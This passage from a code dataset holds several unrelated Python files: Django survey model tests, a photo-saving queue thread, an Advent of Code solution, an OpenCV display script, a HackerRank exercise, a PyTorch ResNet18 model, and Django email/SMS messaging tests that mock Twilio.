logging.getLogger('__name__')\nlogging.disable(logging.CRITICAL)\n#logging.disable(logging.NOTSET)\n\n# Create your tests here.\nclass ModelsTest(TestCase):\n ''' TESTS THAT THE ANSWER SURVEY VIEW BEHAVES PROPERLY '''\n def setUp(self):\n u = User (username=\"testuser@tt.tt\", email=\"testuser@tt.tt\", password=\"password\")\n u.save()\n o = Organization(\n owner=u,\n name=\"TestOrg\",\n phone=None,\n #active_products = models.ManyToManyField(Product, blank=True, help_text='Products this organization is currently using')\n address_line_1=\"Test st. 77\",\n address_line_2=None,\n zip_code=\"7777\",\n city=\"Test Town\",\n country='NO'\n )\n o.save()\n\n r = Respondent(\n organization=o,\n first_name=None,\n last_name=None,\n email=\"testrespondent@tt.tt\",\n receives_surveys=True\n )\n r.save()\n\n test_ratio_scale = RatioScale(\n name=\"testscale_onetofive\",\n instruction=\"Indicate on a scale form 1 to five ...\",\n opt_out=False,\n min_value=1,\n max_value=5,\n min_value_description=\"Don't agree\",\n max_value_description=\"Agree\"\n )\n test_ratio_scale.save()\n\n test_ratio_scale2 = RatioScale(\n name=\"testscale_2222222222onetofive\",\n instruction=\"Indicate on22222222222 a scale form 1 to five ...\",\n opt_out=False,\n min_value=1,\n max_value=2,\n min_value_description=\"Don't agree 2\",\n max_value_description=\"Agree 2\"\n )\n test_ratio_scale2.save()\n\n\n #TEST-INSTRUMENT\n test_employee_engagement_instrument = Instrument(\n id = 1,\n name = \"test_Employee Engagement\",\n description = \"a test instrument for EE\",\n )\n test_employee_engagement_instrument.save()\n\n #TEST-DIMENSIONS\n test_vigor = Dimension(\n instrument=test_employee_engagement_instrument,\n name=\"Vigor\",\n description=\"vigor: a dimension of EE\",\n scale=test_ratio_scale\n )\n test_vigor.save()\n\n\n\n #TEST-ITEMS\n test_vigor_item_01 = Item(\n formulation=\"When I get up in the morning, I feel like going to work.\",\n dimension=test_vigor\n )\n test_vigor_item_01.save()\n\n\n\n\n sur = Survey(\n owner=o,\n date_open=date.today(),\n date_close =date.today() + timedelta(days=10)\n )\n sur.save()\n\n\n rsi = RatioSurveyItem(\n survey = sur,\n item_formulation = test_vigor_item_01.formulation,\n item_inverted = test_vigor_item_01.inverted,\n item_dimension = test_vigor_item_01.dimension,\n n_answered = 0,\n average = None\n\n )\n rsi.save()\n\n\n sinst = SurveyInstance(respondent=r, survey=sur)\n sinst.save()\n rsii = RatioSurveyInstanceItem(\n survey_instance = sinst,\n survey_item = rsi\n )\n rsii.save()\n\n\n rsdr = RatioScaleDimensionResult(\n survey=sur,\n dimension=test_vigor,\n n_completed=5,\n average=3.14\n )\n rsdr.save()\n\n\n def test_RatioScale_(self):\n #Test RatioScale\n ts = RatioScale.objects.get(id=1)\n self.assertIsInstance(ts, RatioScale)\n self.assertEqual(ts.name, \"testscale_onetofive\")\n self.assertEqual(ts.instruction, \"Indicate on a scale form 1 to five ...\")\n self.assertEqual(ts.opt_out, False)\n self.assertEqual(ts.min_value, 1)\n self.assertEqual(ts.max_value, 5)\n self.assertEqual(ts.min_value_description, \"Don't agree\")\n self.assertEqual(ts.max_value_description, \"Agree\")\n def try_save_ratioscale_item():\n ts.max_value=6\n ts.save() #OH NO! Someone forgot that Scales should not be changed after they are made!\n self.assertRaises(IntegrityError, try_save_ratioscale_item)\n ts = RatioScale.objects.get(id=1)\n self.assertEqual(ts.max_value, 5)\n\n def test_Instrument(self):\n i = Instrument.objects.get(id=1)\n self.assertIsInstance(i, Instrument)\n self.assertEqual(i.name, \"test_Employee Engagement\")\n self.assertEqual(i.description, \"a test instrument for EE\")\n\n def test_Dimension(self):\n #test that it works as expected\n d = Dimension.objects.get(id=1)\n self.assertIsInstance(d, Dimension)\n self.assertIsInstance(d.instrument, Instrument)\n self.assertEqual(d.name, \"Vigor\")\n self.assertEqual(d.description, \"vigor: a dimension of EE\")\n self.assertIsInstance(d.scale, Scale)\n\n #test that it doesn't work unexpectedly\n ds = Dimension.objects.all()\n self.assertEqual(len(ds), 1)\n def try_invalid_input_to_scale():\n i= Instrument.objects.get(id=1)\n test_absorption = Dimension(\n instrument=i,\n name=\"Absorption\",\n description=\"absorption: a dimension of EE\",\n scale=d #Oh no, someone tried to set a Dimension object as a Scale, what a loon!\n )\n test_absorption.save()\n self.assertRaises(ValidationError, try_invalid_input_to_scale) #notice the lack of paranthesis after the function name, means don't test the return value, test the callable\n ds = Dimension.objects.all()\n self.assertEqual(len(ds), 1)\n def try_save_dimension_item():\n d.scale=Scale.objects.get(id=2) #Oh no! but what about the items whee thsi scale already is in use?\n d.save()\n self.assertRaises(IntegrityError, try_save_dimension_item)\n def try_save_dimension_item2():\n d.name=\"A New Name\" #OH NO! With a new name, who will I be?\n d.save()\n self.assertRaises(IntegrityError, try_save_dimension_item2)\n d = Dimension.objects.get(id=1)\n def create_duplicate_dimension():\n d2 = Dimension(\n instrument = d.instrument,\n name = d.name,\n description = \"a mad attempt at making a dimension with same name and instrument as an exsiting one\",\n scale = d.scale\n )\n d2.save()\n self.assertRaises(IntegrityError, create_duplicate_dimension)\n\n\n\n def test_Item(self):\n #test that it works as expected\n i = Item.objects.get(id=1)\n self.assertIsInstance(i, Item)\n self.assertEqual(i.formulation, \"When I get up in the morning, I feel like going to work.\")\n d = Dimension.objects.get(id=1)\n self.assertEqual(i.dimension, d)\n\n def test_Respondent(self):\n u = User.objects.get(id=1)\n o = Organization.objects.get(id=1)\n r = Respondent.objects.get(id=1)\n self.assertIsInstance(r, Respondent)\n self.assertEqual(r.organization, o)\n self.assertEqual(r.first_name, None)\n self.assertEqual(r.last_name, None)\n self.assertEqual(r.email, \"testrespondent@tt.tt\")\n self.assertEqual(r.receives_surveys, True)\n\n def test_Survey(self):\n u = User.objects.get(id=1)\n o = Organization.objects.get(id=1)\n s = Survey.objects.get(id=1)\n self.assertIsInstance(s, Survey)\n self.assertEqual(s.owner, o)\n self.assertEqual(s.date_open, date.today())\n self.assertEqual(s.date_close, (date.today() + timedelta(days=10)))\n\n def test_SurveyItems(self):\n su = Survey.objects.get(id=1)\n i = Item.objects.get(id=1)\n si = RatioSurveyItem.objects.get(id=1)\n d = Dimension.objects.get(id=1)\n rs = RatioScale.objects.get(id=1)\n self.assertIsInstance(si, RatioSurveyItem)\n self.assertIsInstance(si, SurveyItem)\n self.assertEqual(si.survey, su)\n self.assertEqual(si.item_formulation, i.formulation)\n self.assertEqual(si.item_inverted, i.inverted)\n self.assertEqual(si.item_dimension, i.dimension)\n self.assertEqual(si.item_dimension, d)\n self.assertEqual(si.n_answered, 0)\n self.assertEqual(si.average, None)\n self.assertEqual(si.scale(), d.scale)\n self.assertEqual(si.n_invited(), 0)\n\n def test_SurveyInstance(self):\n su = Survey.objects.get(id=1)\n r = Respondent.objects.get(id=1)\n si = SurveyInstance.objects.get(id=1)\n rsii = RatioSurveyInstanceItem.objects.get(id=1)\n\n self.assertIsInstance(si, SurveyInstance)\n self.assertEqual(si.respondent, r)\n self.assertEqual(si.survey, su)\n self.assertEqual(len(si.get_items()), 1)\n\n #check_completed\n self.assertEqual(si.check_completed(), False)\n self.assertEqual(si.completed, False)\n\n self.assertEqual(si.check_completed(), False)\n self.assertEqual(si.completed, False)\n rsii.answer_item(2)\n survey_logic.close_survey(su)\n self.assertEqual(si.check_completed(), True)\n self.assertEqual(si.completed, True)\n\n def test_RatioSurveyInstanceItem(self):\n sinst = SurveyInstance.objects.get(id=1)\n sitem = RatioSurveyItem.objects.get(id=1)\n rsii = RatioSurveyInstanceItem.objects.get(id=1)\n self.assertIsInstance(rsii, RatioSurveyInstanceItem)\n self.assertEqual(rsii.survey_instance, sinst)\n self.assertEqual(rsii.survey_item, sitem)\n\n su = Survey.objects.get(id=1)\n r = Respondent.objects.get(id=1)\n self.assertEqual(rsii.survey(), su)\n self.assertEqual(rsii.respondent(), r)\n self.assertEqual(rsii.formulation(), sitem.item_formulation)\n self.assertEqual(rsii.dimension(), sitem.item_dimension)\n\n rsii.answer = 3\n rsii.save()\n\n rdim = rsii.dimension()\n self.assertEqual(rdim, sitem.item_dimension)\n\n def test_RatioScaleDimensionResult(self):\n su = Survey.objects.get(id=1)\n d = Dimension.objects.get(id=1)\n rsdr = RatioScaleDimensionResult.objects.get(id=1)\n\n self.assertEqual(rsdr.survey, su)\n self.assertEqual(rsdr.dimension, d)\n self.assertEqual(rsdr.n_completed, 5)\n self.assertEqual(rsdr.average, 3.14)\n\n def try_change_survey():\n rsdr.survey = None\n rsdr.save()\n self.assertRaises(IntegrityError, try_change_survey)\n\n def try_change_dimension():\n rsdr.dimension = None\n rsdr.save()\n self.assertRaises(IntegrityError, try_change_dimension)\n\n rsdr = RatioScaleDimensionResult.objects.get(id=1)\n rsdr.average = 2.34\n rsdr.n_completed = 6\n rsdr.save()\n self.assertEqual(rsdr.n_completed, 6)\n self.assertEqual(rsdr.average, 2.34)\n","repo_name":"vetleen/meandmyteam","sub_path":"surveys/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":11622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27549246490","text":"import logging\nimport queue\nimport time\nfrom threading import Thread, Lock\nfrom datetime import datetime\nimport numpy as np\n\n\nclass PhotosQueue(Thread):\n \"\"\"\n A queue responsible for collecting photos and saving them in the folders\n Photos are not saved right away, but stored in the queue of last n seconds.\n If sleep is present, most of the photos are discarded and saved is one\n every n photos. If awaken, stored are all the photos. This way we can save\n photos just before waking up.\n \"\"\"\n\n def __init__(self, save_callable: callable, saving_frequency: float,\n queue_size_s=30):\n super().__init__()\n self._photos_queue = queue.Queue()\n # saving freq: 1 means evey photo saved, 2 mean every second etc\n self._saving_frequency = saving_frequency\n # how many seconds back we are storing photos\n self._queue_size_s = queue_size_s\n self._save_callable = save_callable\n self._photo_counter = 0\n self._stop_thread = False\n self._lock = Lock()\n self._lock.acquire()\n self._log = logging.getLogger(self.__class__.__name__)\n\n def update_saving_frequency(self, saving_frequency: int):\n self._log.debug(f'Updating saving frequency to: {saving_frequency}')\n self._saving_frequency = saving_frequency\n\n def add_photo(self, photo: np.array):\n photo_time = time.time()\n self._log.debug(f'Putting photo to the queue with time {photo_time}')\n self._photos_queue.put((photo_time, photo))\n\n def flash_queue(self):\n self._log.debug('Flashing queue')\n while not self._photos_queue.empty():\n self._photos_queue.get()\n\n def stop(self):\n self._log.info('Stopping Photo Queue')\n self._stop_thread = True\n self.flash_queue()\n self._photos_queue.put((None, None))\n self._lock.release()\n\n def _save_photo(self, photo: np.array, photo_name: str):\n self._log.debug(f'Saving photo {photo_name}')\n self._photo_counter = (self._photo_counter + 1) \\\n % self._saving_frequency\n if self._photo_counter != 0:\n self._log.debug('Skipping this photo')\n return\n self._log.debug('Calling saving photo callable')\n self._save_callable(photo_name, photo)\n\n def run(self) -> None:\n self._log.debug('Running photo queue')\n while not self._stop_thread:\n photo_time, photo = self._photos_queue.get()\n if photo_time is None and photo is None:\n # thread is stopped\n break\n current_time = time.time()\n time_to_wait = self._queue_size_s - (current_time - photo_time)\n self._lock.acquire(timeout=max(time_to_wait, 0))\n photo_name = datetime.fromtimestamp(photo_time).\\\n strftime(\"%Y_%m_%d__%H_%M_%S\")\n self._save_photo(photo, photo_name)\n","repo_name":"siadajpan/hass_sleep_camera","sub_path":"hass_sleep_camera/photo_managers/photos_queue.py","file_name":"photos_queue.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28426861679","text":"def partition(arr, key):\n\tn = len(arr)\n\tif len(arr)<2:\n\t\treturn arr\n\tif key in ['L', 'F']:\n\t\tarr = arr[:n//2]\n\telse:\n\t\tarr = arr[n//2:]\n\treturn arr\n\ndef max_seatID(arr):\n\tmax_id = -1\n\tfor i in arr:\n\t\trows = list(range(0, 128))\n\t\tcols = list(range(0, 8))\n\t\tfor c in i:\n\t\t\tif c in ['F', 'B']:\n\t\t\t\trows = partition(rows, c)\n\t\t\telif c in ['L', 'R']:\n\t\t\t\tcols = partition(cols, c)\n\n\t\tseat_id = rows[0] * 8 + cols[0]\n\n\t\tif seat_id > max_id:\n\t\t\tmax_id = seat_id\n\n\treturn max_id\n\nwith open('day5_ip.txt', 'r') as f:\n\tarr = f.read().strip().split('\\n')\n\nprint(max_seatID(arr))","repo_name":"specbug/competitive-programming","sub_path":"AdventOfCode/2020/day5_1.py","file_name":"day5_1.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7221207011","text":"#!/usr/bin/env python3\n#Exercise 1\n#ACABAR DE BRINCAR\n\nimport cv2\nimport argparse\n\n\n\ndef main():\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--image', required=False,help='Full path to image file.', default='/home/joaof2025/PSR_Aulas/psr_22-23/Parte05/images/atlascar.png')\n args = parser.parse_args()\n\n\n path1=args.image\n path2='/home/joaof2025/PSR_Aulas/psr_22-23/Parte05/images/atlascar.png' if path1=='/home/joaof2025/PSR_Aulas/psr_22-23/Parte05/images/atlascar2.png' else '/home/joaof2025/PSR_Aulas/psr_22-23/Parte05/images/atlascar2.png'\n img1=cv2.imread(path1,cv2.IMREAD_COLOR)\n img2=cv2.imread(path2, cv2.IMREAD_COLOR)\n\n\n\n while True:\n \n numrand=1\n \n if (numrand/2==0):\n cv2.imshow('Imagem 1',img1)\n numrand =+1\n cv2.waitKey(3000)\n else:\n cv2.imshow('Imagem 2',img2)\n numrand =+1\n cv2.waitKey(3000)\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JoaoF2025/PSR_22_23","sub_path":"PSR_Solutions/Aula05/Ex1.py","file_name":"Ex1.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43863574789","text":"if __name__ == '__main__':\n n = int(input())\n student_marks = {}\n for _ in range(n):\n name, *line = input().split()\n scores = list(map(float, line))\n student_marks[name] = scores\n query_name = input()\n sum=0\n for i in range(3):\n sum+=student_marks[query_name][i]\n print(\"{:.2f}\".format(sum/3))\n\n#mydict=dict()\n#\n## Driver's Code\n## Getting input in the dictionary\n#n=int(input())\n#for i in range(n):\n# stu=input().split()\n# stu=list(stu)\n# print(stu)\n# mydict[stu[0]]=stu[1:]\n#\n#name=input()\n#avg=(float(mydict[name][0])+float(mydict[name][1])+float(mydict[name][2]))/3\n#print(avg)\n\n#--- Using hackerrank code\n","repo_name":"himanshugoswamiii/Programming","sub_path":"Python/HackerRank/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20327995381","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass ResNet18(nn.Module):\n def __init__(self, input_dim, output_dim):\n super().__init__()\n\n self.conv1 = nn.Conv2d(input_dim, 64,\n kernel_size=(7, 7),\n stride=(2, 2),\n padding=1)\n self.bn1 = nn.BatchNorm2d(64)\n self.relu1 = nn.ReLU()\n self.pool1 = nn.MaxPool2d(kernel_size=(3, 3),\n stride=(2, 2),\n padding=1)\n\n # Block 1\n self.block0 = Block(channel_in=64, channel_out=64)\n self.block1 = Block(channel_in=64, channel_out=64)\n self.conv2 = nn.Conv2d(64, 128,\n kernel_size=(1, 1),\n stride=(2, 2))\n\n # Block 2\n self.block2 = nn.ModuleList([\n Block(128, 128) for _ in range(3)\n ])\n\n self.conv3 = nn.Conv2d(128, 256,\n kernel_size=(1, 1),\n stride=(2, 2))\n\n # Block 3\n # self.block3 = nn.ModuleList([\n # Block(256, 256) for _ in range(2)\n # ])\n #\n # self.conv4 = nn.Conv2d(256, 512,\n # kernel_size=(1, 1),\n # stride=(2, 2))\n #\n # # Block 4\n # self.block4 = nn.ModuleList([\n # Block(512, 512) for _ in range(2)\n # ])\n\n self.avg_pool = GlobalAvgPool2d() # TODO: GlobalAvgPool2d\n self.fc = nn.Linear(256, 1000)\n self.out = nn.Linear(1000, output_dim)\n\n def forward(self, x):\n h = self.conv1(x)\n h = self.bn1(h)\n h = self.relu1(h)\n h = self.pool1(h)\n h = self.block0(h)\n h = self.block1(h)\n h = self.conv2(h)\n for block in self.block2:\n h = block(h)\n h = self.conv3(h)\n # for block in self.block3:\n # h = block(h)\n # h = self.conv4(h)\n # for block in self.block4:\n # h = block(h)\n h = self.avg_pool(h)\n h = self.fc(h)\n h = torch.relu(h)\n h = self.out(h)\n # y = torch.log_softmax(h, dim=-1)\n\n return h\n\n\nclass Block(nn.Module):\n def __init__(self, channel_in, channel_out):\n super().__init__()\n\n self.conv1 = nn.Conv2d(channel_in, channel_out,\n kernel_size=(3, 3),\n padding=1)\n self.bn1 = nn.BatchNorm2d(channel_out)\n self.relu1 = nn.ReLU()\n\n self.conv2 = nn.Conv2d(channel_out, channel_out,\n kernel_size=(3, 3),\n padding=1)\n self.bn2 = nn.BatchNorm2d(channel_out)\n self.relu2 = nn.ReLU()\n\n # skip connection用のチャネル数調整\n self.shortcut = self._shortcut(channel_in, channel_out)\n\n self.relu3 = nn.ReLU()\n\n def forward(self, x):\n h = self.conv1(x)\n h = self.bn1(h)\n h = self.relu1(h)\n h = self.conv2(h)\n h = self.bn2(h)\n h = self.relu2(h)\n shortcut = self.shortcut(x)\n y = self.relu3(h + shortcut) # skip connection\n return y\n\n def _shortcut(self, channel_in, channel_out):\n if channel_in != channel_out:\n return self._projection(channel_in, channel_out)\n else:\n return lambda x: x\n\n def _projection(self, channel_in, channel_out):\n return nn.Conv2d(channel_in, channel_out,\n kernel_size=(1, 1),\n padding=0)\n\n\nclass GlobalAvgPool2d(nn.Module):\n def __init__(self):\n super().__init__()\n\n def forward(self, x):\n return F.avg_pool2d(x, kernel_size=x.size()[2:]).view(-1, x.size(1))\n","repo_name":"HirokiFuyama/cassava","sub_path":"src/cnn/resnet18.py","file_name":"resnet18.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19517907171","text":"import sys\nimport unittest\nfrom datetime import datetime, timedelta\nfrom typing import Optional\nfrom unittest.mock import MagicMock, call, patch\n\nimport django_rq\nimport pytz\nfrom django.core import mail\nfrom django.template.exceptions import TemplateDoesNotExist\nfrom django_rq import get_worker\nfrom freezegun import freeze_time\n\nfrom jaspr.apps.common.jobs.messaging import message_user_from_template, text_user\nfrom jaspr.apps.message_logs.models import EmailLog, SMSLog\nfrom jaspr.apps.test_infrastructure.mixins.common_mixins import (\n TwilioClientTestCaseMixin,\n)\nfrom jaspr.apps.test_infrastructure.testcases import JasprRedisTestCase\n\n\n# NOTE: Not using some arguments here; just copying the exact\n# signature of `render_to_string`.\ndef patched_render_to_string(template_name, context=None, request=None, using=None):\n if context is None:\n context = {}\n context_string = \", \".join(f\"{key}: {value}\" for key, value in context.items())\n return f\"{template_name} + {context_string}\"\n\n\ndef patched_render_to_string_no_title(\n template_name, context=None, request=None, using=None\n):\n if template_name.endswith(\"_sms_title.txt\"):\n raise TemplateDoesNotExist(\"No SMS Title\", backend=MagicMock())\n return patched_render_to_string(\n template_name, context=context, request=request, using=using\n )\n\n\ndef patched_noop(*args, **kwargs):\n pass\n\n\nclass MessagingTest(JasprRedisTestCase):\n def setUp(self):\n super().setUp()\n self.user = self.create_user(preferred_message_type=\"email\")\n # Could also use a class decorator to make\n # available as an argument to all the `test_` methods.\n # However, we perform repetitive setup on top of the mock,\n # so I think it's better to do it here.\n # See: https://docs.python.org/3/library/unittest.mock-examples.html#applying-the-same-patch-to-every-test-method\n mock_render_to_string_patcher = patch(\n \"jaspr.apps.common.jobs.messaging.render_to_string\", autospec=True\n )\n # Safer than putting in `tearDown` in case there's an exception later in `setUp`.\n self.addCleanup(mock_render_to_string_patcher.stop)\n self.mock_render_to_string = mock_render_to_string_patcher.start()\n self.mock_render_to_string.side_effect = patched_render_to_string\n\n\nclass EmailMessagingTest(MessagingTest):\n def test_template_rendering(self):\n base = \"directory/base_filename\"\n context = {\"sugar\": \"rush\"}\n message_user_from_template(self.user, base, context=context)\n subject_call = call(f\"{base}_email_subject.txt\", context=context)\n txt_call = call(f\"{base}_email.txt\", context=context)\n html_call = call(f\"{base}_email.html\", context=context)\n expected_calls = [subject_call, txt_call, html_call]\n self.assertEqual(self.mock_render_to_string.call_args_list, expected_calls)\n\n def test_email_sent(self):\n message_user_from_template(self.user, \"d/bf\", {\"yip\": \"ee\"})\n self.assertEqual(len(mail.outbox), 1)\n self.assertIn(\"d/bf_email_subject.txt + yip: ee\", mail.outbox[0].subject)\n self.assertIn(\"d/bf_email.txt + yip: ee\", mail.outbox[0].body)\n self.assertIn(\"d/bf_email.html + yip: ee\", mail.outbox[0].alternatives[0][0])\n\n def test_email_log_created(self):\n frozen_time = datetime(2018, 1, 16, 12, 12, 12, 0, tzinfo=pytz.UTC)\n with freeze_time(frozen_time):\n # 'd/bf' is shorthand for 'directory/base_filename',\n # in case you were wondering what that stands for.\n message_user_from_template(self.user, \"d/bf\")\n email_log = EmailLog.objects.latest()\n self.assertEqual(email_log.user, self.user)\n self.assertEqual(email_log.user_email, self.user.email)\n self.assertEqual(email_log.date, frozen_time)\n # The subject gets stripped and put into one line, so no space after the '+'.\n self.assertEqual(email_log.subject, \"d/bf_email_subject.txt +\")\n self.assertEqual(email_log.text_body, \"d/bf_email.txt + \")\n self.assertEqual(email_log.html_body, \"d/bf_email.html + MEDIA_URL: /media/\")\n # In this case, we assume one email is always sent.\n self.assertEqual(email_log.email_response, \"1\")\n\n # @unittest.skip(\n # \"Assuming Redis is working properly. Might wait until a better test configuration \"\n # \"or for FakeRedis to be used/implemented in tests before unskipping this. Last time \"\n # \"running the test it passed though.\"\n # \"One other note: `patch_delay_of` doesn't carry over `@job` args and kwargs, so it just \"\n # \"uses the defaults. That's fine for this test, but there isn't a better solution yet. \"\n # \"See https://github.com/rq/django-rq/issues/317 for more information.\"\n # )\n @unittest.skipIf(\n sys.platform == \"win32\",\n \"'win32' platform does not support `os.fork` required by `rqworker`.\",\n )\n def test_email_log_created_from_job(self):\n frozen_time = datetime(2018, 1, 16, 12, 12, 12, 0, tzinfo=pytz.UTC)\n with freeze_time(frozen_time):\n with self.patch_delay_of(\"jaspr.apps.common.jobs.messaging.email_user\"):\n message_user_from_template(self.user, \"d/bf\")\n get_worker().work(burst=True)\n email_log = EmailLog.objects.latest()\n self.assertEqual(email_log.user, self.user)\n self.assertEqual(email_log.user_email, self.user.email)\n self.assertEqual(email_log.date, frozen_time)\n self.assertEqual(email_log.subject, \"d/bf_email_subject.txt +\")\n self.assertEqual(email_log.text_body, \"d/bf_email.txt + \")\n self.assertEqual(email_log.html_body, \"d/bf_email.html + MEDIA_URL: /media/\")\n self.assertEqual(email_log.email_response, \"1\")\n\n\nclass SMSMessagingTest(TwilioClientTestCaseMixin, MessagingTest):\n def setUp(self):\n super().setUp()\n self.user.mobile_phone = \"+14155552671\"\n self.user.preferred_message_type = \"sms\"\n self.user.save()\n\n def test_template_rendering_title_template(self):\n base = \"directory/base_filename\"\n context = {\"sugar\": \"rush\"}\n with patch(\"jaspr.apps.common.jobs.messaging.text_user.delay\", patched_noop):\n message_user_from_template(self.user, base, context=context)\n title_call = call(f\"{base}_sms_title.txt\", context=context)\n body_call = call(f\"{base}_sms.txt\", context=context)\n expected_calls = [title_call, body_call]\n self.assertEqual(self.mock_render_to_string.call_args_list, expected_calls)\n\n def test_template_rendering_no_title_template(self):\n self.mock_render_to_string.side_effect = patched_render_to_string_no_title\n base = \"directory/base_filename\"\n context = {\"sugar\": \"rush\"}\n with patch(\"jaspr.apps.common.jobs.messaging.text_user.delay\", patched_noop):\n message_user_from_template(self.user, base, context=context)\n title_call = call(f\"{base}_sms_title.txt\", context=context)\n subject_call = call(f\"{base}_email_subject.txt\", context=context)\n body_call = call(f\"{base}_sms.txt\", context=context)\n expected_calls = [title_call, subject_call, body_call]\n self.assertEqual(self.mock_render_to_string.call_args_list, expected_calls)\n\n def test_full_sms_path_from_template(self):\n frozen_time = datetime(2018, 1, 16, 12, 12, 12, 0, tzinfo=pytz.UTC)\n with freeze_time(frozen_time), self.patched_twilio_client_messages_create():\n message_user_from_template(self.user, \"d/bf\", {\"yip\": \"ee\"})\n sms_log = SMSLog.objects.latest()\n self.assertEqual(sms_log.recipient, self.user)\n self.assertEqual(sms_log.mobile_phone, self.user.mobile_phone)\n self.assertEqual(sms_log.title, \"d/bf_sms_title.txt + yip: ee\")\n self.assertEqual(sms_log.body, \"d/bf_sms.txt + yip: ee\")\n self.assertEqual(sms_log.message_id, \"message-sid-success\")\n self.assertEqual(sms_log.status, \"sent\")\n self.assertEqual(sms_log.sent, frozen_time)\n self.assertEqual(sms_log.times_retried, 0)\n self._test_single_future_job_presence(False, \"text_user\")\n\n def test_attribute_error_if_no_phone(self):\n self.user.mobile_phone = \"\"\n self.user.save()\n with self.assertRaises(AttributeError):\n text_user(self.user.id, \"Test Title\", \"Test Body\")\n\n def test_successful_delivery(self):\n frozen_time = datetime(2018, 1, 16, 12, 12, 12, 0, tzinfo=pytz.UTC)\n with freeze_time(frozen_time), self.patched_twilio_client_messages_create():\n text_user(self.user.id, \"Test Title\", \"Test Body\")\n sms_log = SMSLog.objects.latest()\n self.assertEqual(sms_log.recipient, self.user)\n self.assertEqual(sms_log.mobile_phone, self.user.mobile_phone)\n self.assertEqual(sms_log.title, \"Test Title\")\n self.assertEqual(sms_log.body, \"Test Body\")\n self.assertEqual(sms_log.message_id, \"message-sid-success\")\n self.assertEqual(sms_log.status, \"sent\")\n self.assertEqual(sms_log.sent, frozen_time)\n self.assertEqual(sms_log.times_retried, 0)\n self._test_single_future_job_presence(False, \"text_user\")\n\n def _test_twilio_rest_exception(self, status=\"retry\", times_retried=0):\n sms_log = SMSLog.objects.latest()\n self.assertEqual(sms_log.recipient, self.user)\n self.assertEqual(sms_log.mobile_phone, self.user.mobile_phone)\n self.assertEqual(sms_log.title, \"Test Title\")\n self.assertEqual(sms_log.body, \"Test Body\")\n self.assertEqual(sms_log.message_id, \"\")\n self.assertEqual(sms_log.status, status)\n self.assertEqual(sms_log.sent, None)\n self.assertEqual(sms_log.times_retried, times_retried)\n\n def test_twilio_rest_exception(self):\n with patch(\n \"jaspr.apps.common.jobs.messaging.retry_text_user.delay\", patched_noop\n ), self.patched_twilio_client_messages_create() as mock_create:\n mock_create.side_effect = self.twilio_rest_exception_instance\n text_user(self.user.id, \"Test Title\", \"Test Body\")\n self._test_twilio_rest_exception()\n\n def _test_single_future_job_presence(\n self,\n expected_present: bool,\n function_name: str,\n expected_time: Optional[datetime] = None,\n ):\n scheduler = django_rq.get_scheduler()\n text_user_filter = (\n lambda job_and_time: job_and_time[0].func.__name__ == function_name\n )\n job_list = list(filter(text_user_filter, scheduler.get_jobs(with_times=True)))\n if expected_present:\n self.assertEqual(len(job_list), 1)\n job, scheduled_time = job_list[0]\n # The scheduled execution times returned by `get_job(with_times=True)` are naive.\n self.assertEqual(scheduled_time, expected_time.replace(tzinfo=None))\n # For convenience, return the job and its scheduled time.\n return job, scheduled_time\n else:\n self.assertEqual(len(job_list), 0)\n return None\n\n def test_initial_retries_and_scheduled(self):\n frozen_time = datetime(2018, 1, 16, 12, 12, 12, 0, tzinfo=pytz.UTC)\n with freeze_time(\n frozen_time\n ), self.patched_twilio_client_messages_create() as mock_create:\n mock_create.side_effect = self.twilio_rest_exception_instance\n text_user(self.user.id, \"Test Title\", \"Test Body\")\n # Initial try, plus three retries\n self.assertEqual(mock_create.call_count, 4)\n self._test_twilio_rest_exception(times_retried=3)\n self._test_single_future_job_presence(\n True, \"text_user\", frozen_time.replace(tzinfo=None) + timedelta(hours=6)\n )\n\n def test_last_scheduled_retry_and_after(self):\n sms_log = SMSLog.objects.create(\n recipient=self.user,\n mobile_phone=self.user.mobile_phone,\n title=\"Test Title\",\n body=\"Test Body\",\n status=\"retry\",\n sent=None,\n times_retried=4,\n )\n frozen_time = datetime(2018, 1, 16, 12, 12, 12, 0, tzinfo=pytz.UTC)\n with freeze_time(\n frozen_time\n ), self.patched_twilio_client_messages_create() as mock_create:\n mock_create.side_effect = self.twilio_rest_exception_instance\n text_user(\n self.user.id, \"Test Title\", \"Test Body\", existing_sms_log_id=sms_log.id\n )\n # Get the single job back, and then run it (`enqueue_job` calls `run_job` under the hood).\n self._test_twilio_rest_exception(times_retried=5)\n job, _ = self._test_single_future_job_presence(\n True, \"text_user\", frozen_time.replace(tzinfo=None) + timedelta(hours=6)\n )\n django_rq.get_scheduler().cancel(job)\n django_rq.get_queue().enqueue_job(job)\n self._test_twilio_rest_exception(status=\"failed\", times_retried=6)\n self._test_single_future_job_presence(False, \"text_user\")\n\n\nclass EmailAndSMSMessagingTest(TwilioClientTestCaseMixin, MessagingTest):\n def setUp(self):\n super().setUp()\n self.user.mobile_phone = \"+14155552671\"\n self.user.preferred_message_type = \"email and sms\"\n self.user.save()\n\n def test_successful_delivery_for_both(self):\n with self.patched_twilio_client_messages_create():\n message_user_from_template(self.user, \"d/bf\", {\"yip\": \"ee\"})\n self.assertTrue(\n EmailLog.objects.filter(\n subject=\"d/bf_email_subject.txt + yip: ee\",\n text_body=\"d/bf_email.txt + yip: ee\",\n html_body=\"d/bf_email.html + yip: ee, MEDIA_URL: /media/\",\n ).exists()\n )\n self.assertTrue(\n SMSLog.objects.filter(\n title=\"d/bf_sms_title.txt + yip: ee\",\n body=\"d/bf_sms.txt + yip: ee\",\n message_id=\"message-sid-success\",\n ).exists()\n 